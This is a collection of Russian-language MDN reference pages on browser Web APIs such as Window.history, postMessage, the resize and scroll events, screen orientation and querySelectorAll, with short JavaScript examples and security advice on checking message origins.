`Window.history` является свойством только для чтения, ссылающимся на объект `History`, который предоставляет интерфейс для манипулирования историей сессии браузера (страницы, посещённые в текущей вкладке или фрейме, который был загружен на текущей странице).

Смотрите Управление историей браузера для примеров и подробностей. В частности, та статья объясняет особенности безопасности методов `pushState()` и `replaceState()`, о которых вы должны быть в курсе перед их использованием.

Синтаксис
---------
```

var historyObj = window.history;
```

Пример
------

```js
history.back(); // эквивалент клика по кнопке назад
history.go(-1); // эквивалент history.back();
```

Замечания
---------

Для последней загруженной страницы вы можете увидеть список предыдущих страниц, которые доступны через объект `History`, в выпадающем списке к кнопкам "назад" и "вперёд".

По причинам безопасности объект `History` не позволяет непривилегированному коду получать доступ к URL других страниц, но позволяет осуществлять навигацию по истории сессии.

Не существует способа очистить историю сессии или выключить навигацию посредствам кнопок "назад"/"вперёд" из непривилегированного кода. Наиболее близкое решение использовать метод `location.replace()`, который заменяет текущий пункт в истории сессии на предоставленный URL.

Спецификации
------------

| Specification |
| --- |
| HTML Standard # the-history-interface |


gamepaddisconnected - Интерфейсы веб API

gamepaddisconnected
===================

Событие `gampaddisconnected` вызывается, когда браузер обнаруживает, что геймпад был отключён.

Основная информация
-------------------

Спецификация

Gamepad

Интерфейс

Event

Всплывающее

Нет

Отменяемое

Нет

Цель

DefaultView (`<window>`)

Действие по умолчанию

Отсутствует

Свойства
--------

| Свойство | Тип | Описание |
| --- | --- | --- |
| `target` Только для чтения  | `EventTarget` | Цель события (самый верхний элемент DOM дерева). |
| `type` Только для чтения  | `DOMString` | Тип события. |
| `bubbles` Только для чтения  | `Boolean` | Является ли событие всплывающим. |
| `cancelable` Только для чтения  | `Boolean` | Является ли событие отменяемым. |
| `gamepad` Только для чтения  | `Gamepad` | Единственный атрибут, предоставляющий доступ к данным геймпада для этого события. |

Связанные события
-----------------

* `gamepadconnected (en-US)`
Смотрите также
--------------

* Using Gamepad API (en-US)


Window.closed - Интерфейсы веб API

Window.closed
=============

Общая информация
----------------

Данное свойство только для чтения указывает, открыто ли целевое окно или нет.

Синтаксис
---------
```

isClosed = windowRef.closed;
```

`isClosed`

Переменная логического типа. Возможные значения:

* `true`: Окно было закрыто.
* `false`: Окно открыто.

Примеры
-------

### Изменение URL окна браузера со всплывающего окна

Следующий пример демонстрирует, как всплывающее окно может изменять URL окна, которое его открыло. Перед тем, как изменить URL, оно проверяет, имеет ли текущее окно свойство window.opener (en-US) и не закрыто ли оно:

```js
// проверяет, если window.opener существует и не закрыт
if (window.opener && !window.opener.closed) {
  window.opener.location.href = "http://www.mozilla.org";
}
```

Заметьте, что всплывающие окна имеют доступ только к окнам, которые их открыли.

### Обновление ранее открытого всплывающего окна

В данном примере функция `refreshPopupWindow()` вызывает метод `reload` у объекта локации всплывающего окна для обновления его данных. Если всплывающее окно ещё не было открыто или пользователь его закрыл, открывает новое окно.

```js
var popupWindow = null;

function refreshPopupWindow() {
  if (popupWindow && !popupWindow.closed) {
    // popupWindow открыто, обновите его
    popupWindow.location.reload(true);
  } else {
    // открывает новое всплывающее окно
    popupWindow = window.open("popup.html", "dataWindow");
  }
}
```

Спецификация
------------

HTML5


Window.frameElement - Интерфейсы веб API

Window.frameElement
===================

Сводка
------

Возвращает элемент (например `<iframe>` или `<object>`), в который встроено окно, или `null`, если это окно верхнего уровня.

Синтаксис
---------
```

frameEl = window.frameElement;
```

* `frameEl` это элемент, в который встроено окно, или `null`, если это окно верхнего уровня
Пример
------

```js
var frameEl = window.frameElement;
// Если мы внутри фрейма, то изменить его URL на 'http://mozilla.org/'
if (frameEl) {
  frameEl.src = "http://mozilla.org/";
}
```

Примечания
----------

Заметьте, что несмотря на своё имя, свойство также работает для документов внутри `<object>` и других встраиваемых элементов.

Спецификация
------------

WHATWG

Совместимость с браузерами
--------------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

Смотрите также
--------------

* `window.frames` возвращает массивоподобный объект, включающий список прямых суб-фреймов данного окна.
* `window.parent` возвращает родительское окно, которое является окном, содержащим frameElement дочернего окна.


Window.scroll() - Интерфейсы веб API

Window.scroll()
===============

Прокручивает страницу до указанного места.

Синтаксис
---------
```

window.scroll(x-coord,y-coord)
```

### Параметры

* `x-coord` - это x-координата пикселя, который окажется в верхнем левом углу экрана.
* `y-coord`- это y-координата пикселя, который окажется в верхнем левом углу экрана.
Пример
------

```html
<!-- прокрутить до пикселя с y = 100 -->

<button onClick="scroll(0, 100);">прокрутить</button>
```

Замечания
---------

window.scrollTo (en-US) имеет тот же самый эффект. Для того, чтобы прокрутить на некоторое количество пикселей относительно текущей позиции, используйте window.scrollBy (en-US). Смотрите также window.scrollByLines (en-US), window.scrollByPages (en-US).

Спецификация
------------

* CSSOM: scroll() Method


Window: событие hashchange - Интерфейсы веб API

Window: событие hashchange
==========================

Событие **`hashchange`** возникает, когда изменяется «якорь» URL (часть URL, которая начинается с символа `#`).

Синтаксис
---------

Используйте имя события в таких методах, как `addEventListener()`, или устанавливайте свойство обработчика события.

```js
addEventListener("hashchange", (event) => {});
onhashchange = (event) => {};
```

Тип события
-----------

`HashChangeEvent` (en-US). Наследуется от `Event`.

Event

HashChangeEvent

(en-US)Свойства события
----------------

`HashChangeEvent.newURL` (en-US) Только для чтения

Строка, содержащая новый URL, на который происходит перенаправление.

`HashChangeEvent.oldURL` (en-US) Только для чтения

Строка, содержащая старый URL, с которого происходит перенаправление.

Псевдонимы обработчика события
------------------------------

В дополнение к интерфейсу `Window`, свойство обработчика события `onhashchange` также доступно на следующих объектах:

* `HTMLBodyElement`
* `HTMLFrameSetElement` (en-US)
* `SVGSVGElement` (en-US)
Примеры
-------

Можно использовать событие `hashchange` с методом `addEventListener`:

```js
window.addEventListener(
  "hashchange",
  () => {
    console.log("Якорь был изменён!");
  },
  false,
);
```

Или использовать свойство обработчика события `onhashchange`:

```js
function locationHashChanged() {
  if (location.hash === "#cool-page-part") {
    console.log("Вы перешли к замечательной части страницы!");
  }
}

window.onhashchange = locationHashChanged;
```

Спецификации
------------

| Specification |
| --- |
| HTML Standard # event-hashchange |
| HTML Standard # handler-window-onhashchange |

Совместимость с браузерами
--------------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

Смотрите также
--------------

* Событие `popstate`


Window.stop() - Интерфейсы веб API

Window.stop()
=============

Аннотация
---------

Этот метод прекращает загрузку страницы.

Синтаксис
---------
```

window.stop()
```

Пример
------

```js
window.stop();
```

Примечания
----------

Метод stop() равноценный клику кнопки стоп в браузере. Из-за порядка в котором загружаются скрипты, этот метод не может остановить загрузку документа в котором он вызывается, но он остановит загрузку больших картинок, новых окон и остальных объектов загрузка которых отложена.

Спецификации
------------

| Specification |
| --- |
| HTML Standard # dom-window-stop-dev |

Совместимость с браузерами
--------------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.


resize - Интерфейсы веб API

resize
======

Событие **`resize`** срабатывает при изменении размера представления документа (окна).

В некоторых более ранних браузерах можно было зарегистрировать обработчики событий `resize` на любом HTML-элементе. По-прежнему можно установить атрибуты `onresize` или использовать `addEventListener()` чтобы установить обработчик для любого элемента. Однако, событие `resize` запускается только на объекте `window`. Только обработчики, зарегистрированные на объекте window, будут получать события `resize` .

Существует предложение разрешить всем элементам получать уведомления об изменениях размера. См. раздел Resize Observer, чтобы ознакомиться с проектом документа, и GitHub вопросы, чтобы ознакомиться с текущими обсуждениями.

Основная информация
-------------------

Спецификации

DOM L3, CSSOM View

Интерфейс

UIEvent

Bubbles

Нет

Отмена

Нет

Цель

вид по умолчанию (window)

Действие по умолчанию

Нет

| Property | Type | Description |
| --- | --- | --- |
| `target` Только для чтения  | `EventTarget` | The event target (the topmost target in the DOM tree). |
| `type` Только для чтения  | `DOMString` | The type of event. |
| `bubbles` Только для чтения  | `Boolean` (en-US) | Whether the event normally bubbles or not. |
| `cancelable` Только для чтения  | `Boolean` (en-US) | Whether the event is cancellable or not. |
| `view` Только для чтения  | `WindowProxy` | `document.defaultView` (`window` of the document) |
| `detail` Только для чтения  | `long` (`float`) | 0. |

Примеры
-------

Так как события изменения размера могут срабатывать с высокой скоростью, обработчик событий не должен выполнять дорогостоящие операции, такие как модификации DOM. Вместо этого рекомендуется регулировать событие, используя requestAnimationFrame, setTimeout или customEvent \*, следующим образом:

**\* ВАЖНО:** Обратите внимание, что для работы в IE11 необходимо, чтобы customEvent (en-US) заполнялся в функцию правильно.

### requestAnimationFrame + customEvent

```js
(function () {
  var throttle = function (type, name, obj) {
    obj = obj || window;
    var running = false;
    var func = function () {
      if (running) {
        return;
      }
      running = true;
      requestAnimationFrame(function () {
        obj.dispatchEvent(new CustomEvent(name));
        running = false;
      });
    };
    obj.addEventListener(type, func);
  };

  /\* init - you can init any event \*/
  throttle("resize", "optimizedResize");
})();

// handle event
window.addEventListener("optimizedResize", function () {
  console.log("Resource conscious resize callback!");
});
```

### requestAnimationFrame

```js
var optimizedResize = (function () {
  var callbacks = [],
    running = false;

  // fired on resize event
  function resize() {
    if (!running) {
      running = true;

      if (window.requestAnimationFrame) {
        window.requestAnimationFrame(runCallbacks);
      } else {
        setTimeout(runCallbacks, 66);
      }
    }
  }

  // run the actual callbacks
  function runCallbacks() {
    callbacks.forEach(function (callback) {
      callback();
    });

    running = false;
  }

  // adds callback to loop
  function addCallback(callback) {
    if (callback) {
      callbacks.push(callback);
    }
  }

  return {
    // public method to add additional callback
    add: function (callback) {
      if (!callbacks.length) {
        window.addEventListener("resize", resize);
      }
      addCallback(callback);
    },
  };
})();

// start process
optimizedResize.add(function () {
  console.log("Resource conscious resize callback!");
});
```

### setTimeout

```js
(function() {

  window.addEventListener("resize", resizeThrottler, false);

  var resizeTimeout;
  function resizeThrottler() {
    // ignore resize events as long as an actualResizeHandler execution is in the queue
    if ( !resizeTimeout ) {
      resizeTimeout = setTimeout(function() {
        resizeTimeout = null;
        actualResizeHandler();

       // The actualResizeHandler will execute at a rate of 15fps
       }, 66);
    }
  }

  function actualResizeHandler() {
    // handle the resize event
    ...
  }

}());
```


Window.postMessage() - Интерфейсы веб API

Window.postMessage()
====================

**`Window.postMessage()`** - этот метод позволяет безопасно отправлять кроссдоменные запросы. Обычно сценариям на разных страницах разрешён доступ друг к другу только если страницы, которые их выполняли, передаются по одному протоколу (обычно это https), номер порта (443 — по умолчанию для https) и хост (modulo `Document.domain` установленный страницами на одно и тоже значение). `window.postMessage()` предоставляет контролируемый механизм, чтобы обойти это ограничение способом, который безопасен при правильном использовании.

При вызове метода `window.postMessage()` он вызывает `MessageEvent` (en-US) для отправки в целевом окне, когда завершается любой ожидающий сценарий, который должен быть выполнен (например, оставшиеся обработчики событий, если `window.postMessage()` вызывается из обработчика событий ранее заданных ожидающих таймаутов). `MessageEvent` (en-US) имеет тип `message`, `data-свойство` которого устанавливает значение первого аргумента в методе `window.postMessage()`, свойство `origin` соответствует адресу основного документа в вызове `window.postMessage` во время вызова `window.postMessage()`, свойство `source` указывает на окно, из которого `window.postMessage()` вызвали. (Другие стандартные свойства событий имеют ожидаемые значения)

Syntax
------
```

otherWindow.postMessage(message, targetOrigin, [transfer]);
```

`otherWindow`

Ссылка на другое окно; такая ссылка может быть получена, к примеру, при использовании свойства `contentWindow` элемента `iframe` , объекта, возвращаемого window.open (en-US), или по именованному и числовому индексу `Window.frames`, если вы пытаетесь запустить сообщение из iframe в родительском окне, то родитель также является действительной ссылкой.

`message`

Данные, которые нужно отправить в другое окно. Данные сериализуются с использованием алгоритма структурированного клона. Это означает, что вы можете безопасно передавать большое количество объектов данных в окно назначения без необходимости их сериализации. [1]

`targetOrigin`

Specifies what the origin of `otherWindow` must be for the event to be dispatched, either as the literal string `"*"` (indicating no preference) or as a URI. If at the time the event is scheduled to be dispatched the scheme, hostname, or port of `otherWindow`'s document does not match that provided in `targetOrigin`, the event will not be dispatched; only if all three match will the event be dispatched. This mechanism provides control over where messages are sent; for example, if `postMessage()` was used to transmit a password, it would be absolutely critical that this argument be a URI whose origin is the same as the intended receiver of the message containing the password, to prevent interception of the password by a malicious third party. **Always provide a specific `targetOrigin`, not `*`, if you know where the other window's document should be located. Failing to provide a specific target discloses the data you send to any interested malicious site.**

`transfer` Необязательный

Is a sequence of `Transferable` objects that are transferred with the message. The ownership of these objects is given to the destination side and they are no longer usable on the sending side.

The dispatched event
--------------------

В `otherWindow` отправляемые сообщения могут быть обработаны следующим способом:

```js
window.addEventListener("message", receiveMessage, false);

function receiveMessage(event) {
  if (event.origin !== "http://example.org:8080") return;

  // ...
}
```

Свойства отправляемых сообщений:

`data`

Объект, переданный из другого окна.

`origin`

The origin of the window that sent the message at the time `postMessage` was called. This string is the concatenation of the protocol and "://", the host name if one exists, and ":" followed by a port number if a port is present and differs from the default port for the given protocol. Examples of typical origins are `https://example.org` (implying port `443`), `http://example.net` (implying port `80`), and `http://example.com:8080`. Note that this origin is *not* guaranteed to be the current or future origin of that window, which might have been navigated to a different location since `postMessage` was called.

`source`

Ссылка на объект `window` (en-US) , который отправил сообщение; может быть использована для установки двустороннего соединения между окнами с разными `origins`.

Вопросы безопасности
--------------------

**Если вы не ожидаете получения сообщения от других сайтов, не добавляйте обработчики событий `message`.** Это гарантированный способ избежать проблем с безопасностью.

Если же вы хотите получать сообщения от других сайтов, то всегда необходимо идентифицировать отправителя, используя `origin` и возможно `source` свойства. Любой сайт (включая, например, `http://evil.example.com`) может отправлять сообщения любым другим, и у вас нет гарантии, что неизвестный отправитель не пошлёт вредоносные сообщения. Однако даже если отправитель известен, вам всё равно необходимо всегда подтверждать синтаксис получаемого сообщения. Иначе, дыра в безопасности сайта, которому вы доверяете, может открыть дыру для межсайтового скриптинга на вашем сайте.

**Всегда конкретизируйте целевой первоисточник, а не просто `*`, когда вы используете `postMessage` для отправки данных другим окнам. Вредоносный сайт может изменить локацию окна без вашего ведома и затем перехватить данные, посылаемые с использованием** `postMessage`.

Example
-------

```js
/\*
 \* In window A's scripts, with A being on <http://example.com:8080>:
 \*/

var popup = window.open(...popup details...);

// When the popup has fully loaded, if not blocked by a popup blocker:

// This does nothing, assuming the window hasn't changed its location.
popup.postMessage("The user is 'bob' and the password is 'secret'",
                  "https://secure.example.net");

// This will successfully queue a message to be sent to the popup, assuming
// the window hasn't changed its location.
popup.postMessage("hello there!", "http://example.com");

function receiveMessage(event)
{
  // Do we trust the sender of this message? (might be
  // different from what we originally opened, for example).
  if (event.origin !== "http://example.com")
    return;

  // event.source is popup
  // event.data is "hi there yourself! the secret response is: rheeeeet!"
}
window.addEventListener("message", receiveMessage, false);
```

```js
/\*
 \* In the popup's scripts, running on <http://example.com>:
 \*/

// Called sometime after postMessage is called
function receiveMessage(event) {
  // Do we trust the sender of this message?
  if (event.origin !== "http://example.com:8080") return;

  // event.source is window.opener
  // event.data is "hello there!"

  // Assuming you've verified the origin of the received message (which
  // you must do in any case), a convenient idiom for replying to a
  // message is to call postMessage on event.source and provide
  // event.origin as the targetOrigin.
  event.source.postMessage(
    "hi there yourself! the secret response " + "is: rheeeeet!",
    event.origin,
  );
}

window.addEventListener("message", receiveMessage, false);
```

### Notes

Any window may access this method on any other window, at any time, regardless of the location of the document in the window, to send it a message. Consequently, any event listener used to receive messages **must** first check the identity of the sender of the message, using the `origin` and possibly `source` properties. This cannot be overstated: **Failure to check the `origin` and possibly `source` properties enables cross-site scripting attacks.**

As with any asynchronously-dispatched script (timeouts, user-generated events), it is not possible for the caller of `postMessage` to detect when an event handler listening for events sent by `postMessage` throws an exception.

The value of the `origin` property of the dispatched event is not affected by the current value of `document.domain` in the calling window.

For IDN host names only, the value of the `origin` property is not consistently Unicode or punycode; for greatest compatibility check for both the IDN and punycode values when using this property if you expect messages from IDN sites. This value will eventually be consistently IDN, but for now you should handle both IDN and punycode forms.

The value of the `origin` property when the sending window contains a `javascript:` or `data:` URL is the origin of the script that loaded the URL.

### Using window.postMessage in extensions
Non-standard

`window.postMessage` is available to JavaScript running in chrome code (e.g., in extensions and privileged code), but the `source` property of the dispatched event is always `null` as a security restriction. (The other properties have their expected values.) The `targetOrigin` argument for a message sent to a window located at a `chrome:` URL is currently misinterpreted such that the only value which will result in a message being sent is `"*"`. Since this value is unsafe when the target window can be navigated elsewhere by a malicious site, it is recommended that `postMessage` not be used to communicate with `chrome:` pages for now; use a different method (such as a query string when the window is opened) to communicate with chrome windows. Lastly, posting a message to a page at a `file:` URL currently requires that the `targetOrigin` argument be `"*"`. `file://` cannot be used as a security restriction; this restriction may be modified in the future.

Specifications
--------------

| Specification |
| --- |
| HTML Standard # dom-window-postmessage-options-dev |

Совместимость с браузерами
--------------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

See also
--------

* `Document.domain`
* `CustomEvent` (en-US)
* Interaction between privileged and non-privileged pages


Window.getSelection() - Интерфейсы веб API

Window.getSelection()
=====================

Коротко
-------

Метод возвращает объект `Selection` (en-US), представленный в виде диапазона текста, который пользователь выделил на странице.

Синтаксис
---------
```

selection = window.getSelection();
```

### Значение

Объект `Selection` (en-US).

При добавлении в параметр пустую строку или воспользовавшись методом `Selection.toString()` вам вернут строку, которую выделил пользователь.

Пример
------

```js
function foo() {
  var selObj = window.getSelection();
  alert(selObj);
  var selRange = selObj.getRangeAt(0);
  // вернёт диапазон Range
}
```

Примечания
----------

### String representation of the Selection object

В JavaScript при попытке передать в функцию, принимающую строку (как на пример `window.alert()` или же `document.write()`), функция попробует сделать из любого параметра строку, даже если этот параметр является объектом, функцией со своими методами и свойствами.

В приведённом выше примере `selObj.toString() автоматически задействуется, когда мы передаём в``window.alert()` переменную selObj как параметр, который должен быть строкой. Однако мы не можем использовать свойства и метода объекта String, как на пример : `length`, `substr`. В следствии чего, вам необходимо будет применить вручную метод `toString(), как тут:`

```js
var selectedText = selObj.toString();
```

* `selObj` это объект `Selection`.
* `selectedText` это строка (Выделенный текст).
### Родственные объекты

Вы так же можете использовать такой способ вызова `Document.getSelection()`, который работает идентично `Window.getSelection()`.

Поля ввода HTML (inputs) предоставляют более удобный API для работы с выделенным текстом (смотрите `HTMLInputElement.setSelectionRange()`).

На заметку, разница между *selection* и *focus*. `Document.activeElement` - это то, что вернётся элемент, который выделен (focused) .

Спецификации
------------

| Specification |
| --- |
| Selection API # dom-window-getselection |

Совместимость с браузерами
--------------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

Смотрите также
--------------

* Selection API (en-US)
* `Selection` (en-US)
* `Range`
* `Document.getSelection()`
* `HTMLInputElement.setSelectionRange()`


Разбираемся с ориентацией экрана - Интерфейсы веб API

Разбираемся с ориентацией экрана
================================

**Экспериментальная возможность:** **Это экспериментальная технология**
Так как спецификация этой технологии ещё не стабилизировалась, смотрите таблицу совместимости по поводу использования в различных браузерах. Также заметьте, что синтаксис и поведение экспериментальной технологии может измениться в будущих версиях браузеров, вслед за изменениями спецификации.

 Ориентация экрана не идентична ориентации устройства (en-US).
 Даже если устройство не способно определить своё положение в пространстве — экран может всегда. А когда устройство знает свою ориентацию, хорошо бы иметь возможность управлять ориентацией экрана для
 сохранения или адаптации интерфейса веб-приложения.

 Управление ориентацией экрана доступно в CSS и JavaScript.
 Например, использование медиавыражений позволяет контенту адаптироваться с помощью CSS в зависимости от того, в каком режиме просмотра находится браузер: альбомный (горизонтальный, когда ширина экрана больше высоты) или портретный (вертикальный, высота экрана больше ширины).

Для определения положения экрана и его блокировки можно воспользоваться *JavaScript Screen orientation API*.

Настройка раскладки содержимого по ориентации экрана
----------------------------------------------------

Допустим вы хотите связать отображение содержимого с ориентацией экрана. Например, добавить панель, растягивающуюся по наибольшему направлению дисплея устройства. Это довольно просто реализовать с помощью медиавыражений.

Пример. Имеется HTML страница:

```html
<ul id="toolbar">
  <li>A</li>
  <li>B</li>
  <li>C</li>
</ul>

<p>
  Lorem ipsum dolor sit amet, consectetur adipiscing elit. Duis lacinia nisi nec
  sem viverra vitae fringilla nulla ultricies. In ac est dolor, quis tincidunt
  leo. Cras commodo quam non tortor consectetur eget rutrum dolor ultricies. Ut
  interdum tristique dapibus. Nullam quis malesuada est.
</p>
```

Соответствующий CSS:

```css
/\* Сначала зададим простые стили \*/

html,
body {
  width: 100%;
  height: 100%;
}

body {
  border: 1px solid black;

  -moz-box-sizing: border-box;
  box-sizing: border-box;
}

p {
  font: 1em sans-serif;
  margin: 0;
  padding: 0.5em;
}

ul {
  list-style: none;

  font: 1em monospace;
  margin: 0;
  padding: 0.5em;

  -moz-box-sizing: border-box;
  box-sizing: border-box;

  background: black;
}

li {
  display: inline-block;
  margin: 0;
  padding: 0.5em;
  background: white;
}
```

Теперь разберёмся с поведением страницы в различных случаях ориентации.

```css
/\* Для портретного режима отправим панель на верхнюю часть области отображения \*/

@media screen and (orientation: portrait) {
  #toolbar {
    width: 100%;
  }
}

/\* Для альбомного режима пускай панель отображается слева \*/

@media screen and (orientation: landscape) {
  #toolbar {
    position: fixed;
    width: 2.65em;
    height: 100%;
  }

  p {
    margin-left: 2em;
  }

  li + li {
    margin-top: 0.5em;
  }
}
```

Результат:

| Портретный режим просмотра | Альбомный режим просмотра |
| --- | --- |
|  |  |

**Примечание:** Медиавыражение по ориентации ссылается на окно браузера (соотношение его размеров), а не на ориентацию устройства.

Блокировка ориентации экрана
----------------------------

**Предупреждение:** Этот API вводится в экспериментальном режиме и доступен в Firefox OS и Firefox для Android с приставкой `moz`, а также для Internet Explorer на Windows 8.1 и выше с приставкой `ms`.

 Некоторые устройства (в основном мобильные) могут изменять ориентацию экрана в соответствии с ориентацией самого устройства для удобства восприятия информации пользователем.
 Это хорошо подходит для текста, но на некоторое содержимое такое поведение может оказать негативное воздействие. Например, это трагичная ситуация для игры, разработанной под определённую ориентацию.

Урегулировать вопрос, связанный с изменением положения экрана, поможет интерфейс Screen Orientation API.

### Отслеживание изменения ориентации

Событие `orientationchange (en-US)` возникает каждый раз, когда устройство изменяет ориентацию экрана и самого себя, и может быть отслежено свойством `Screen.orientation` (en-US).

```js
screen.addEventListener("orientationchange", function () {
  console.log("The orientation of the screen is: " + screen.orientation);
});
```

### Запрещаем поворот экрана

Любое веб-приложение может заблокировать положение экрана. Методом `Screen.lockOrientation()` (en-US) положение блокируется. Разблокирование осуществляется методом `Screen.unlockOrientation()` (en-US).

Метод `Screen.lockOrientation()` (en-US) принимает одну или несколько строк для определения типа блокировки: `portrait-primary`, `portrait-secondary`, `landscape-primary`, `landscape-secondary`, `portrait`, `landscape`. Подробнее: `Screen.lockOrientation` (en-US).

```js
screen.lockOrientation("landscape");
```

**Примечание:** Положение экрана зависит от конкретной настройки приложения. Если в приложении A экран блокируется на альбомную ориентацию (`landscape`), а приложение B блокирует экран на портретный режим (`portrait`),
 то переход из приложения A в приложение B (или наоборот) не вызовет событие изменения ориентации экрана `orientationchange (en-US)`, т. к. оба приложения сохраняют заданную ориентацию.

В то же время, событие `orientationchange (en-US)` может возникнуть в момент блокировки ориентации, если для удовлетворения заданному параметру блокировки изменяется положение экрана.

Firefox OS и Android: блокирование ориентации через манифест
------------------------------------------------------------

Для Firefox OS и Firefox Android (скоро заработает и в десктопном Firefox) существует более специфичный способ: в файле манифеста вашего приложения можно указать ориентацию:

```json
"orientation": "portrait"
```

Смотрите также
--------------

* `Screen.orientation` (en-US)
* `Screen.lockOrientation()` (en-US)
* `Screen.unlockOrientation()` (en-US)
* `Screen.onorientationchange` (en-US)
* The orientation media query (en-US)
* A short introduction to media queries in Firefox 3.5


MediaError.code - Интерфейсы веб API

MediaError.code
===============

Свойство **`MediaError.code`** доступно только для чтения, возвращает числовое значение, представляющее тип ошибки, возникшей на элементе носителя. Чтобы получить текстовую строку с конкретной диагностической информацией, см. раздел `MediaError.message` (en-US).

Синтаксис
---------
```

var myError = mediaError.code;
```

### Значение

Числовое значение, указывающее общий тип возникшей ошибки. Возможные значения описаны ниже, в разделе Media error code constants.

#### Константы кода ошибки носителя

| Name | Value | Description |
| --- | --- | --- |
| `MEDIA_ERR_ABORTED` | `1` | Извлечение связанного ресурса было прервано запросом пользователя. |
| `MEDIA_ERR_NETWORK` | `2` | Произошла какая-то сетевая ошибка, которая помешала успешному извлечению носителя, несмотря на то, что он был ранее доступен. |
| `MEDIA_ERR_DECODE` | `3` | Несмотря на то, что ранее ресурс был определён, как используемый, при попытке декодировать медиаресурс произошла ошибка. |
| `MEDIA_ERR_SRC_NOT_SUPPORTED` | `4` | Связанный объект ресурса или поставщика мультимедиа (например, `MediaStream`) был признан неподходящим. |

Пример
------

В этом примере создаётся элемент `<video>`, устанавливается обработчик ошибок для него, а затем устанавливается атрибут элемента `src` для видеоресурса, который должен присутствовать в элементе. Обработчик ошибок просто выводит сообщение

```js
var obj = document.createElement("video");
obj.onerror = function () {
  console.log("Ошибка с носителями информации: " + obj.error.code);
};
obj.src = "https://example.com/blahblah.mp4";
```

Спецификации
------------

| Specification |
| --- |
| HTML Standard # dom-mediaerror-code-dev |

Совместимость с браузерами
--------------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

Изучите также
-------------

* Интерфейс, определяющий его, `MediaError`.


Document.location - Интерфейсы веб API

Document.location
=================

Доступное только для чтения свойство **`Document.location`** возвращает объект `Location`, который содержит информацию о URL страницы и предоставляет методы для изменения этого URL и загрузки другого URL.

Хотя `Document.location` это *read-only* объект `Location`, вы всё же можете присвоить ему `DOMString`. Это означает, что в большинстве случаев вы можете работать с document.location так, будто это строка: `document.location = 'http://www.example.com'` фактически то же, что и `document.location.href = 'http://www.example.com'`.

Чтобы получить URL как строку, вы можете использовать *read-only* свойство `document.URL`.

Если страница находится вне текущего контекста, вернётся `null`.

Синтаксис
---------
```

locationObj = document.location
document.location = 'http://www.mozilla.org' // Эквиваленто след.
document.location.href = 'http://www.mozilla.org'
```

Пример
------

```js
dump(document.location);
// Выведет строку
// "http://www.example.com/juicybits.html" в консоли
```

Спецификации
------------

| Specification |
| --- |
| HTML Standard # the-location-interface |

Совместимость с браузерами
--------------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

Смотрите также
--------------

* Интерфейс возвращаемого значения, `Location`.
* Похожая информация, но привязанная к контексту, `Window.location`


Document: событие scroll - Интерфейсы веб API

Document: событие scroll
========================

Событие **`scroll`** возникает при прокрутке области просмотра документа или элемента.

| Всплытие | Да |
| Отменяемый | Нет |
| Интерфейс | `Event` |
| Свойство обработчика событий | `onscroll` |

**Примечание:** В iOS UIWebViews события `scroll` не срабатывают во время самого прокручивания, только по его завершении. См. issue в Bootstrap #16202. Safari и WKWebViews не подвержены этому багу.

Примеры
-------

### Пропуск тактов события прокрутки

Поскольку события прокрутки могут запускаться с высокой скоростью, обработчик событий не должен выполнять вычислительно-ёмкие операции, такие как модификации DOM. Вместо этого рекомендуется пропускать такты события, используя `requestAnimationFrame()`, `setTimeout()` или `CustomEvent` (en-US), как показано ниже.

Обратите внимание, однако, что входные события и кадры анимации запускаются примерно с одинаковой скоростью, и поэтому приведённая ниже оптимизация зачастую не требуется. В примере ниже оптимизируется событие `scroll` для `requestAnimationFrame`:

```js
// Источник: http://www.html5rocks.com/en/tutorials/speed/animations/

let last_known_scroll_position = 0;
let ticking = false;

function doSomething(scroll\_pos) {
  // Делаем что-нибудь с позицией скролла
}

window.addEventListener("scroll", function (e) {
  last_known_scroll_position = window.scrollY;

  if (!ticking) {
    window.requestAnimationFrame(function () {
      doSomething(last_known_scroll_position);
      ticking = false;
    });

    ticking = true;
  }
});
```

Больше похожих примеров можно найти на странице события `resize`.

Спецификация
------------

| Specification |
| --- |
| CSSOM View Module # eventdef-document-scroll |
| HTML Standard # handler-onscroll |

Совместимость с браузерами
--------------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

Смотрите также
--------------

* Element: событие `scroll`


Document.documentURI - Интерфейсы веб API

Document.documentURI
====================

Свойство **`documentURI`** интерфейса `Document` возвращает строку с текущим адресом документа.

Первоначально определено в DOM3 как атрибут для чтения и записи. В спецификации DOM4 это свойство доступно только для чтения.

Синтаксис
---------

```js
var string = document.documentURI;
```

Примечание
----------

HTML документы содержат свойство `document.URL` которое возвращает то же значение. Но в отличие от `URL`, свойство `documentURI` доступно для всех типов документов.

Спецификации
------------

| Specification |
| --- |
| DOM Standard # ref-for-dom-document-documenturi① |

Совместимость с браузерами
--------------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.


Document.querySelectorAll() - Интерфейсы веб API

Document.querySelectorAll()
===========================

Метод **`querySelectorAll()`** `Document` возвращает статический (не динамический) `NodeList`, содержащий все найденные элементы документа, которые соответствуют указанному селектору.

**Примечание:** Данный метод реализован на основе миксина `ParentNode` `querySelectorAll()` метода.

Синтаксис
---------

```js
elementList = document.querySelectorAll(selectors);
```

### Параметры

**`selectors`**

Строка `DOMString`, содержащая один или более CSS селектор (en-US). Эта строка должна быть валидным CSS селектором. Если это не так, то генерируется `SyntaxError`. Смотрите Поиск элементов DOM с использованием селекторов для получения информации о том, распознавать элементы. Несколько селекторов нужно разделить запятыми.

**Примечание:** Символы, которые не являются частью стандартного синтаксиса CSS, должны быть экранированы с помощью символа обратной косой черты (`\`). Поскольку в JavaScript также используется экранирование обратной косой черты, при написании строковых литералов с использованием этих символов следует соблюдать особую осторожность. Для более подробной информации смотри Escaping special characters.

### Возвращаемое значение

Статический (non-live) `NodeList`, содержащий все элементы в пределах документа, которые соответствуют как минимум одному из указанных селекторов, или пустой `NodeList` в случае отсутствия совпадений.

**Примечание:** Если в строке `selectors` содержатся CSS псевдоэлементы, то возвращаемый список будет всегда пуст.

### Исключения

`SyntaxError`

Исключение `SYNTAX_ERR` происходит в случае передачи некорректной группы селекторов.

Примеры
-------

### Получение списка совпадений

Чтобы получить `NodeList` всех элементов `<p>` в документе:

```js
var matches = document.querySelectorAll("p");
```

